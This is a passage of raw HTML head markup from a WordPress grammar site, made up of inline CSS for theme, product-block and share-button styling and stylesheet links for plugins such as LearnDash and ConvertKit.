on-delay:.5s}.sc-product-item-link,a.sc-product-item-link{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:block;height:100%;text-decoration:none!important}.sc-product-item-link:hover,a.sc-product-item-link:hover{color:inherit}.sc-product-item-link:focus:not(:focus-visible),a.sc-product-item-link:focus:not(:focus-visible){outline:none}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@media(prefers-reduced-motion){.sc-product-item{-webkit-animation-name:none;animation-name:none;opacity:1}}@media(max-width:480px){.wp-block-surecart-product-template{-ms-grid-columns:1fr!important;grid-template-columns:1fr!important}}@media(min-width:480px)and (max-width:768px){.wp-block-surecart-product-template.sc-product-template-columns-10,.wp-block-surecart-product-template.sc-product-template-columns-11,.wp-block-surecart-product-template.sc-product-template-columns-12,.wp-block-surecart-product-template.sc-product-template-columns-13,.wp-block-surecart-product-template.sc-product-template-columns-14,.wp-block-surecart-product-template.sc-product-template-columns-15,.wp-block-surecart-product-template.sc-product-template-columns-16,.wp-block-surecart-product-template.sc-product-template-columns-4,.wp-block-surecart-product-template.sc-product-template-columns-5,.wp-block-surecart-product-template.sc-product-template-columns-6,.wp-block-surecart-product-template.sc-product-template-columns-7,.wp-block-surecart-product-template.sc-product-template-columns-8,.wp-block-surecart-product-template.sc-product-template-columns-9{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,1fr)}}
260
261/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-template/style-index.css */
262</style>
263<style id="surecart-product-title-style-inline-css">
264.wp-block-surecart-product-title{margin:0;width:100%}.wp-block-surecart-product-title a{color:var(--sc-cart-main-label-text-color);text-decoration:none}
265
266/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-title/style-index.css */
267</style>
268
269<link data-minify="1" rel='stylesheet' id='spectra-pro-block-css-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/spectra-pro/dist/style-blocks.css?ver=1789058374' media='all' />
270<link rel='stylesheet' id='sureforms-pro-signature-css' href='https://grammarist.com/wp-content/plugins/sureforms-pro/assets/css/minified/package/pro/signature.min.css?ver=2.12.7' media='all' />
271<link data-minify="1" rel='stylesheet' id='convertkit-frontend-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/cache/min/1/wp-content/plugins/convertkit/resources/frontend/css/frontend.css?ver=1789058374&wpr_t=1790182192' media='all' />
272<style id="global-styles-inline-css">
273:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--contrast: var(--contrast);--wp--preset--color--contrast-2: var(--contrast-2);--wp--preset--color--contrast-3: var(--contrast-3);--wp--preset--color--base: var(--base);--wp--preset--color--base-2: var(--base-2);--wp--preset--color--base-3: var(--base-3);--wp--preset--color--accent: var(--accent);--wp--preset--color--accent-hover: var(--accent-hover);--wp--preset--color--accent-2: var(--accent-2);--wp--preset--color--global-color-10: var(--global-color-10);--wp--preset--color--global-color-11: var(--global-color-11);--wp--preset--color--global-color-12: var(--global-color-12);--wp--preset--color--global-color-13: var(--global-color-13);--wp--preset--color--global-color-14: var(--global-color-14);--wp--preset--color--surecart: var(--sc-color-primary-500);--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
273--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:where(body) { margin: 0; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-contrast-color{color: var(--wp--preset--color--contrast) !important;}.has-contrast-2-color{color: var(--wp--preset--color--contrast-2) !important;}.has-contrast-3-color{color: var(--wp--preset--color--contrast-3) !important;}.has-base-color{color: var(--wp--preset--color--base) !important;}.has-base-2-color{color: var(--wp--preset--color--base-2) !important;}.has-base-3-color{color: var(--wp--preset--color--base-3) !important;}.has-accent-color{color: var(--wp--preset--color--accent) !important;}.has-accent-hover-color{color: var(--wp--preset--color--accent-hover) !important;}.has-accent-2-color{color: var(--wp--preset--color--accent-2) !important;}.has-global-color-10-color{color: var(--wp--preset--color--global-color-10) !important;}.has-global-color-11-color{color: var(--wp--preset--color--global-color-11) !important;}.has-global-color-12-color{color: var(--wp--preset--color--global-color-12) !important;}.has-global-color-13-color{color: var(--wp--preset--color--global-color-13) !important;}.has-global-color-14-color{color: var(--wp--preset--color--global-color-14) !important;}.has-surecart-color{color: var(--wp--preset--color--surecart) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-contrast-background-color{background-color: var(--wp--preset--color--contrast) !important;}.has-contrast-2-background-color{background-color: var(--wp--preset--color--contrast-2) !important;}.has-contrast-3-background-color{background-color: var(--wp--preset--color--contrast-3) !important;}.has-base-background-color{background-color: var(--wp--preset--color--base) !important;}.has-base-2-background-color{background-color: var(--wp--preset--color--base-2) !important;}.has-base-3-background-color{background-color: var(--wp--preset--color--base-3) !important;}.has-accent-background-color{background-color: var(--wp--preset--color--accent) !important;}.has-accent-hover-background-color{background-color: var(--wp--preset--color--accent-hover) !important;}.has-accent-2-background-color{background-color: var(--wp--preset--color--accent-2) !important;}.has-global-color-10-background-color{background-color: var(--wp--preset--color--global-color-10) !important;}.has-global-color-11-background-color{background-color: var(--wp--preset--color--global-color-11) !important;}.has-global-color-12-background-color{background-color: var(--wp--preset--color--global-color-12) !important;}.has-global-color-13-background-color{background-color: var(--wp--preset--color--global-color-13) !important;}.has-global-color-14-background-color{background-color: var(--wp--preset--color--global-color-14) !important;}.has-surecart-background-color{background-color: var(--wp--preset--color--surecart) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-contrast-border-color{border-color: var(--wp--preset--color--contrast) !important;}.has-contrast-2-border-color{border-color: var(--wp--preset--color--contrast-2) !important;}.has-contrast-3-border-color{border-color: var(--wp--preset--color--contrast-3) !important;}.has-base-border-color{border-color: var(--wp--preset--color--base) !important;}.has-base-2-border-color{border-color: var(--wp--preset--color--base-2) !important;}.has-base-3-border-color{border-color: var(--wp--preset--color--base-3) !important;}.has-accent-border-color{border-color: var(--wp--preset--color--accent) !important;}.has-accent-hover-border-color{border-color: var(--wp--preset--color--accent-hover) !important;}.has-accent-2-border-color{border-color: var(--wp--preset--color--accent-2) !important;}.has-global-color-10-border-color{border-color: var(--wp--preset--color--global-color-10) !important;}.has-global-color-11-border-color{border-color: var(--wp--preset--color--global-color-11) !important;}.has-global-color-12-border-color{border-color: var(--wp--preset--color--global-color-12) !important;}.has-global-color-13-border-color{border-color: var(--wp--preset--color--global-color-13) !important;}.has-global-color-14-border-color{border-color: var(--wp--preset--color--global-color-14) !important;}.has-surecart-border-color{border-color: var(--wp--preset--color--surecart) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
273.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
274/*# sourceURL=global-styles-inline-css */
275</style>
276
277<link data-minify="1" rel='stylesheet' id='dpsp-frontend-style-pro-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/social-pug/assets/dist/style-frontend-pro.css?ver=1789058374' media='all' />
278<style id="dpsp-frontend-style-pro-inline-css">
279
280				@media screen and ( max-width : 720px ) {
281					.dpsp-content-wrapper.dpsp-hide-on-mobile,
282					.dpsp-share-text.dpsp-hide-on-mobile,
283					.dpsp-content-wrapper .dpsp-network-label {
284						display: none;
285					}
286					.dpsp-has-spacing .dpsp-networks-btns-wrapper li {
287						margin:0 2% 10px 0;
288					}
289					.dpsp-network-btn.dpsp-has-label:not(.dpsp-has-count) {
290						max-height: 40px;
291						padding: 0;
292						justify-content: center;
293					}
294					.dpsp-content-wrapper.dpsp-size-small .dpsp-network-btn.dpsp-has-label:not(.dpsp-has-count){
295						max-height: 32px;
296					}
297					.dpsp-content-wrapper.dpsp-size-large .dpsp-network-btn.dpsp-has-label:not(.dpsp-has-count){
298						max-height: 46px;
299					}
300				}
301			
302							.dpsp-button-style-5 .dpsp-networks-btns-content.dpsp-networks-btns-wrapper .dpsp-network-btn:hover,
303							.dpsp-button-style-5 .dpsp-networks-btns-content.dpsp-networks-btns-wrapper .dpsp-network-btn:focus {
304								border-color: #9898b1;
305								background: #9898b1;
306							}
307						.dpsp-networks-btns-wrapper.dpsp-networks-btns-content .dpsp-network-btn {--networkHover: rgba(152, 152, 177, 0.4); --networkAccent: rgba(152, 152, 177, 1);}
308			@media screen and ( max-width : 720px ) {
309				aside#dpsp-floating-sidebar.dpsp-hide-on-mobile.opened {
310					display: none;
311				}
312			}
313			
314					.dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn {
315					--customNetworkColor: #9898b1;
316					--customNetworkHoverColor: #9898b1;
317					background: #9898b1;
318					border-color: #9898b1;
319					}
320					.dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:hover,
321					.dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:focus {
322					border-color: #9898b1 !important;
323					background: #9898b1 !important;
324			}.dpsp-networks-btns-wrapper.dpsp-networks-btns-sidebar .dpsp-network-btn {--networkHover: rgba(152, 152, 177, 0.4); --networkAccent: rgba(152, 152, 177, 1);}
325			@media screen and ( max-width : 720px ) {
326				aside#dpsp-floating-sidebar.dpsp-hide-on-mobile.opened {
327					display: none;
328				}
329			}
330			
331					.dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn {
332					--customNetworkColor: #9898b1;
333					--customNetworkHoverColor: #9898b1;
334					background: #9898b1;
335					border-color: #9898b1;
336					}
337					.dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:hover,
338					.dpsp-button-style-1 .dpsp-networks-btns-sidebar.dpsp-networks-btns-wrapper .dpsp-network-btn:focus {
339					border-color: #9898b1 !important;
340					background: #9898b1 !important;
341			}.dpsp-networks-btns-wrapper.dpsp-networks-btns-sidebar .dpsp-network-btn {--networkHover: rgba(152, 152, 177, 0.4); --networkAccent: rgba(152, 152, 177, 1);}
342/*# sourceURL=dpsp-frontend-style-pro-inline-css */
343</style>
344<link data-minify="1" rel='stylesheet' id='st-trigger-button-style-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/suretriggers/assets/css/st-trigger-button.css?ver=1789058374' media='all' />
345<link rel='stylesheet' id='affwp-forms-css' href='https://grammarist.com/wp-content/plugins/affiliate-wp/assets/css/forms.min.css?ver=2.27.4' media='all' />
346<link rel='stylesheet' id='learndash_quiz_front_css-css' href='//grammarist.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_quiz_front.min.css?ver=5.2.0' media='all' />
347<link data-minify="1" rel='stylesheet' id='dashicons-css' href='https://grammarist.com/wp-content/cache/min/1/wp-includes/css/dashicons.min.css?ver=1789058374' media='all' />
348<link data-minify="1" rel='stylesheet' id='learndash-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/css/styles.css?ver=1789058374' media='all' />
349<link rel='stylesheet' id='jquery-dropdown-css-css' href='//grammarist.com/wp-content/plugins/sfwd-lms/assets/css/jquery.dropdown.min.css?ver=5.2.0' media='all' />
350<link rel='stylesheet' id='learndash_lesson_video-css' href='//grammarist.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_lesson_video.min.css?ver=5.2.0' media='all' />
351<link data-minify="1" rel='stylesheet' id='learndash-admin-bar-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/src/assets/dist/css/admin-bar/styles.css?ver=1789058374' media='all' />
352<link data-minify="1" rel='stylesheet' id='learndash-course-grid-skin-grid-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/skins/grid/style.css?ver=1789058374' media='all' />
353<link data-minify="1" rel='stylesheet' id='learndash-course-grid-pagination-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/pagination/style.css?ver=1789058374' media='all' />
354<link data-minify="1" rel='stylesheet' id='learndash-course-grid-filter-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/filter/style.css?ver=1789058374' media='all' />
355<link data-minify="1" rel='stylesheet' id='learndash-course-grid-card-grid-1-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/cards/grid-1/style.css?ver=1789058374' media='all' />
356<link rel='stylesheet' id='dlm-frontend-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/plugins/download-monitor/assets/css/frontend-tailwind.min.css?ver=5.2.9&wpr_t=1790182192' media='all' />
357<link rel='stylesheet' id='generate-style-css' href='https://grammarist.com/wp-content/themes/generatepress/assets/css/main.min.css?ver=3.6.1' media='all' />
358<style id="generate-style-inline-css">
359body{background-color:var(--base-3);color:var(--contrast);}a{color:var(--contrast-3);}a:hover, a:focus, a:active{color:var(--contrast-3);}.grid-container{max-width:1500px;}.wp-block-group__inner-container{max-width:1500px;margin-left:auto;margin-right:auto;}.site-header .header-image{width:30px;}:root{--contrast:#141414;--contrast-2:#1b1b42;--contrast-3:#9898b1;--base:#e1e6ed;--base-2:#f2f5fa;--base-3:#ffffff;--accent:#482d70;--accent-hover:#5e3f8c;--accent-2:#192b80;--global-color-10:#4197e3;--global-color-11:#f63c76;--global-color-12:#42b99f;--global-color-13:#B19898;--global-color-14:#98B198;}:root .has-contrast-color{color:var(--contrast);}:root .has-contrast-background-color{background-color:var(--contrast);}:root .has-contrast-2-color{color:var(--contrast-2);}:root .has-contrast-2-background-color{background-color:var(--contrast-2);}:root .has-contrast-3-color{color:var(--contrast-3);}:root .has-contrast-3-background-color{background-color:var(--contrast-3);}:root .has-base-color{color:var(--base);}:root .has-base-background-color{background-color:var(--base);}:root .has-base-2-color{color:var(--base-2);}:root .has-base-2-background-color{background-color:var(--base-2);}:root .has-base-3-color{color:var(--base-3);}:root .has-base-3-background-color{background-color:var(--base-3);}:root .has-accent-color{color:var(--accent);}:root .has-accent-background-color{background-color:var(--accent);}:root .has-accent-hover-color{color:var(--accent-hover);}:root .has-accent-hover-background-color{background-color:var(--accent-hover);}:root .has-accent-2-color{color:var(--accent-2);}:root .has-accent-2-background-color{background-color:var(--accent-2);}:root .has-global-color-10-color{color:var(--global-color-10);}:root .has-global-color-10-background-color{background-color:var(--global-color-10);}:root .has-global-color-11-color{color:var(--global-color-11);}:root .has-global-color-11-background-color{background-color:var(--global-color-11);}:root .has-global-color-12-color{color:var(--global-color-12);}:root .has-global-color-12-background-color{background-color:var(--global-color-12);}:root .has-global-color-13-color{color:var(--global-color-13);}:root .has-global-color-13-background-color{background-color:var(--global-color-13);}:root .has-global-color-14-color{color:var(--global-color-14);}:root .has-global-color-14-background-color{background-color:var(--global-color-14);}.gp-modal:not(.gp-modal--open):not(.gp-modal--transition){display:none;}.gp-modal--transition:not(.gp-modal--open){pointer-events:none;}.gp-modal-overlay:not(.gp-modal-overlay--open):not(.gp-modal--transition){display:none;}.gp-modal__overlay{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.2);display:flex;justify-content:center;align-items:center;z-index:10000;backdrop-filter:blur(3px);transition:opacity 500ms ease;opacity:0;}.gp-modal--open:not(.gp-modal--transition) .gp-modal__overlay{opacity:1;}.gp-modal__container{max-width:100%;max-height:100vh;transform:scale(0.9);transition:transform 500ms ease;padding:0 10px;}.gp-modal--open:not(.gp-modal--transition) .gp-modal__container{transform:scale(1);}.search-modal-fields{display:flex;}.gp-search-modal .gp-modal__overlay{align-items:flex-start;padding-top:25vh;background:var(--gp-search-modal-overlay-bg-color);}.search-modal-form{width:500px;max-width:100%;background-color:var(--gp-search-modal-bg-color);color:var(--gp-search-modal-text-color);}.search-modal-form .search-field, .search-modal-form .search-field:focus{width:100%;height:60px;background-color:transparent;border:0;appearance:none;color:currentColor;}.search-modal-fields button, .search-modal-fields button:active, .search-modal-fields button:focus, .search-modal-fields button:hover{background-color:transparent;border:0;color:currentColor;width:60px;}body, button, input, select, textarea{font-family:Source Sans Pro, sans-serif;font-size:19px;}body{line-height:1.6;}.main-navigation a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items{font-weight:700;text-transform:uppercase;font-size:17px;}button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link{font-weight:600;font-size:19px;}h1{font-weight:700;font-size:40px;line-height:1.1;}h2{font-weight:600;font-size:28px;line-height:1.2;}h3{font-weight:600;font-size:24px;line-height:1.3;}h4{font-weight:600;font-size:21px;line-height:1.4;}.main-title{font-family:Bebas Neue, display;font-weight:bold;text-transform:uppercase;font-size:43px;letter-spacing:1px;}.top-bar{background-color:#636363;color:#ffffff;}.top-bar a{color:#ffffff;}.top-bar a:hover{color:#303030;}.site-header{background-color:var(--base-3);}.main-title a,.main-title a:hover{color:var(--contrast);}.site-description{color:var(--contrast-3);}.main-navigation .main-nav ul li a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items{color:var(--contrast);}.main-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .main-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a, .main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a{color:var(--global-color-12);}button.menu-toggle:hover,button.menu-toggle:focus{color:var(--contrast);}.main-navigation .main-nav ul li[class*="current-menu-"] > a{color:#4fd4b7;}.navigation-search input[type="search"],.navigation-search input[type="search"]:active, .navigation-search input[type="search"]:focus, .main-navigation .main-nav ul li.search-item.active > a, .main-navigation .menu-bar-items .search-item.active > a{color:var(--global-color-12);}.main-navigation ul ul{background-color:#e1e6ed;}.main-navigation .main-nav ul ul li a{color:#515151;}.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a,.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a{color:var(--global-color-12);}.main-navigation .main-nav ul ul li[class*="current-menu-"] > a{color:#7a8896;background-color:#e1e6ed;}.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .one-container .container, .separate-containers .paging-navigation, .inside-page-header{background-color:var(--base-3);}.entry-title a{color:var(--contrast);}.entry-title a:hover{color:var(--contrast);}.entry-meta{color:var(--contrast-2);}.sidebar .widget{background-color:rgba(242,245,250,0.4);}.footer-widgets{background-color:var(--base-3);}.site-info{background-color:var(--base-3);}input[type="text"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type="tel"],input[type="number"],textarea,select{color:var(--contrast);background-color:#ffffff;border-color:var(--base);}input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="number"]:focus,textarea:focus,select:focus{color:var(--contrast);background-color:#ffffff;border-color:var(--contrast-3);}button,html input[type="button"],input[type="reset"],input[type="submit"],a.button,a.wp-block-button__link:not(.has-background){color:var(--base-3);background-color:var(--global-color-12);}button:hover,html input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover,a.button:hover,button:focus,html input[type="button"]:focus,input[type="reset"]:focus,input[type="submit"]:focus,a.button:focus,a.wp-block-button__link:not(.has-background):active,a.wp-block-button__link:not(.has-background):focus,a.wp-block-button__link:not(.has-background):hover{color:var(--base-3);background-color:var(--global-color-12);}a.generate-back-to-top{background-color:rgba( 0,0,0,0.4 );color:#ffffff;}a.generate-back-to-top:hover,a.generate-back-to-top:focus{background-color:rgba( 0,0,0,0.6 );color:#ffffff;}:root{--gp-search-modal-bg-color:var(--base-3);--gp-search-modal-text-color:var(--contrast);--gp-search-modal-overlay-bg-color:rgba(0,0,0,0.2);}@media (max-width: 1084px){.main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a{background:none;color:var(--contrast);}}.inside-header{padding:30px;}
